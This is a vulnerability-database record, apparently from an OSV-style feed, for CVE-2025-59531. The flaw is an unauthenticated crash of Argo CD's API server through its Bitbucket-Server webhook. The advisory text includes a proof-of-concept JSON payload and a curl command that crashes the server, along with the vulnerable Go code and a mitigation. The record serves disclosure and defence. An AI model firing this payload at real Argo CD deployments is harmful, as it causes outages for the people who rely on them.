{"id":"CVE-2025-59531","aliases":["BIT-argo-cd-2025-59531","GHSA-f9gq-prrc-hrhc","GO-2025-3993"],"url":"https://o3.security/vulnerability/CVE-2025-59531","summary":"Unauthenticated argocd-server panic via a malicious Bitbucket-Server webhook payload","details":"### Summary\n\nUnpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients. \n\nWith the default configuration, no `webhook.bitbucketserver.secret` set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field `repository.links.clone` is anything other than an array.\n\nA single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.\n\n### Details\n```go\n// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)\n\nfor _, l := range payload.Repository.Links[\"clone\"].([]any) {   // <- unsafe cast\n    link := l.(map[string]any)\n    ...\n}\n```\n\nIf links.clone is a string, number, object, or null, the first type assertion panics:\ninterface conversion: interface {} is string, not []interface {}\n\nThe worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.\n\n### PoC\n\nSave as payload-panic.json - note the non-array links.clone.\n\n```json\n{\n  \"eventKey\": \"repo:refs_changed\",\n  \"repository\": {\n    \"name\": \"guestbook\",\n    \"fullName\": \"APP/guestbook\",\n    \"links\": { \"clone\": \"boom\" }\n  },\n  \"changes\": [ { \"ref\": { \"id\": \"refs/heads/master\" } } ]\n}\n```\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n     -H 'X-Event-Key: repo:refs_changed' \\\n     -H 'Content-Type: application/json' \\\n     --data-binary @payload-panic.json\n```\n\nObserved crash (argocd-server restart):\n\n```\npanic: interface conversion: interface {} is string, not []interface {}\ngoroutine 192 [running]:\ngithub.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo\n    webhook.go:209 +0x1218\n...\n```\n\n### Mitigation\n\nIf you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n  name: argocd-secret\ntype: Opaque\ndata:\n+  webhook.bitbucketserver.secret: <your base64-encoded secret here>\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.","published":"2025-10-01T20:49:35.428Z","modified":"2026-08-12T03:51:38.369632845Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":{"score":0.00588,"percentile":0.46549,"asOf":"2026-09-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/argoproj/argo-cd","fixedVersion":null},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v2","fixedVersion":"2.14.20"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.2.0-rc2"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.1.8"},{"ecosystem":"Go","name":"github.com/argoproj/argo-cd/v3","fixedVersion":"3.0.19"}],"fix":{"url":"https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f","label":"argoproj/argo-cd@5c466a4"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/59xxx/CVE-2025-59531.json"},{"type":"ADVISORY","url":"https://github.com/argoproj/argo-cd/security/advisories/GHSA-f9gq-prrc-hrhc"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59531"},{"type":"FIX","url":"https://github.com/argoproj/argo-cd/commit/5c466a4e39802e059e75c0008ae7b7b8e842538f"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-cd"},{"type":"WEB","url":"https://pkg.go.dev/vuln/GO-2025-3993"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:38.369632845Z"}}